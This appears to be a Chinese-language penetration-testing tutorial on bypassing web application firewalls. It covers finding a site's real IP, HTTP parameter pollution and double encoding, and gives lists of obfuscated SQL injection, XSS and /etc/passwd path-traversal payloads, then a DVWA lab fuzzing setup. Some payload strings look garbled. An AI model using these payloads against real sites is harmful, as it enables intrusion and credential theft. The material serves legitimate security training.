BypassWAF

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。 利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 而在日常的渗透测试当中,如果遇到了拥有WAF防护的网站,当发送带有payload的数据包被防火墙阻断时,则会失去快乐。 所以通过特定的方式绕过防护,是一项有意思的任务。但需要额外注意的是:BypassWAF与免杀是不同的。

一 WAF的不同类型

WAF的工作流程图大致如下,可以简单的概况为:WAF在网站服务器前面提供一层过滤攻击流量的功能。

image-20230125025950929

而WAF提供在部署的方式上,存在着不同的类型。概况下来大致存在三类:

1、云WAF
2、铁盒子
3、软件类

二 BypassWAF的取巧型应对

2.1 找到真实IP

在具有WAF的渗透测试场景中,网站的访问流程如下:

终端用户-->WAF-->webserver

而如果通过修改hosts文件,将访问的流程进行调整,则可以直接跳过WAF的检测。

终端用户-->webserver

所以寻找到真实IP在应对云WAF的场景中则会是很好用的策略。

寻找真实IP可以采用的思路有几种:

1、通过fofa、shadon类的工具搜索title或其他关键字
2、DNS的解析历史
3、通过其他子站点推测

2.2 寻找无指纹漏洞

WAF在阻断的过程中,常常采用正则表达式或基于行为判定的方式进行阻断。为此WAF在对于没有指纹的攻击方式无能为力。

而常见的无指纹类攻击方式包括:逻辑漏洞、口令类漏洞、CSRF......

三 BypassWAF的男人型应对

3.1 常用的Bypass方案

在BypassWAF的过程中,所使用的思路可以总结为以下三种方式:

1 使WAF跳过输入验证
2 使WAF的解释与后端不一致
3 使WAF未检测到对应的规则

1 跳过参数验证:

PHP从参数名中删除空格或将其转换为下划线

http://xxx.com/test.php?%20testid=select 1,2,3

ASP删除不后面跟着两个十六进制数字的%字符

http://xxx.com/test.aspx?%testid=select 1,2,3

通过这种方式绕过不拒绝未知参数的WAF。

2 格式错误的HTTP请求方式

配置错误的web服务器可能接受格式错误的HTTP请求方式,可以绕过仅限定定GET和POST方式的WAF。

将GET改为hello

3 加载waf的负载

如果WAF性能负载过重的情况下,可能会跳过输入验证。通常可以发送打了的恶意请求。

对于嵌入式WAF或许更适用。

4 HTTP参数污染

发送多个同名的参数,如:

http://xxx.com/test/?test=1&test=2

ASP.NET中,会处理成test=1,2
JSP中,会处理成test=1
PHP中,会处理成test=2

所以当payload为test=select 1,2,3 from tables的时候,可以将其改变为:

test=select 1&select 2,3 from tables

5 双重URL编码

WAF会将URL编码的字符规范化为ASCII文本,所以使用双重编码可能会导致绕过。

s --> %73 -->%25%37%33

所以可以将payload修改成双重URL编码的格式

1 union %25%37%33elect 1,2,3

6 使WAF未检测到对应的规则

在找到缺少的规则方式中,需要有一定的流程设计,例如将waf部署好后,关闭拉黑的机制,然后进行fuzz的测试。

为此,整个的测试当中,如果以目的为导向的话,那么的目的是找到一条一句的方式,WAF不认为是恶意语句,但这条的恶意语句可以在网站中执行。

在SQL注入的绕过中,可以尝试的语法方式:

###原本为 ’ or 1=1
or 9=9
or 0x47 = 0x47 -->ASCII
or char(32) = ''
or 9 is not null

###原本为 1+union+select+1,2,3/*
1/*union*/union/*select*/select+1,2,3/* 
1/*uniXon*/union/*selXect*/select+1,2,3/*
UNION ALL SELECT

###其他的绕过方式
id=-15 uNloN sELecT 1,2,3,4
id=-15 UNlunionON SELselectECT1,2,3,4 
id=1%252f%252a*/UNION%252f%252a/SELECT 
id=-15/*!u%6eion*/ /*!se%6cect*/ 1, 2,3,4...SELECT(extractvalue(ox3C613E61646D6g6É3C2F613E,ox2f61) 
id=10%D6'%20AND%201=2%23 - SELECT 'A'='A'; #1

在xss中,可以尝试的语法方式:

###原本为:Alert('xss')或Alert (1)
Prompt('xss')
Prompt(454)    
Confirm('xss') 
Confirm(123)
Alert(/xss/.source) 
Window[/alert/.source](8)

###原本为:alert(document['cookie'])
alert(document[/coo/.source+/kie/.source])
alert(document[/cookie/.source])
with(document)alert(cookie)
alert(document.cookie)

###原本为: < img src=x onerror=alert(1);> 或javascript:alert(document.cookie)
<svg/onload=alert(1)>
<video src=x onerror=alert(1);>
<audio src=x onerror=alert(1);>
Data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

在文件包含中,可以尝试的语法方式:

###原本为:/etc/passwd
/too/abc/etc/far/.../passwd
/../../../../etc/passwd%oo
/etc//passwd
/etc/ignore/../passwd
/etc/passwd....

在文件上传中,可以尝试的方式:

文件名的变化
webshell的免杀

3.2 环境的搭建

安装windows server
安装phpstudy
配置phpstudy+dvwa
安装安全狗windows版
如果提示找不到Apache服务,cmd进入到Apache路径中,httpd.exe -k install -n apache2
校验防护是否存在
关闭黑名单功能(IP黑白名单)。
关闭CC攻击防护(资源防护)

image-20230126232314267

3.3 Bypass方案测试

1000'union select user,password from dvwa.users#

使用tools生成大量的payload
python3 tta.py -p "1000'union select user,password from dvwa.users#" -l 3 -o 1
在关闭安全狗防护的情况下,使用burp进行fuzz-->清洗出来可用的payload

在开启安全狗的情况下,使用清洗后的payload进行fuzz,找到可以使用成功的payload
Copyright © fsec.io 2022 all right reserved,powered by farmsec该文件修订时间: 2023-02-15 19:52:36

results matching ""

    No results matching ""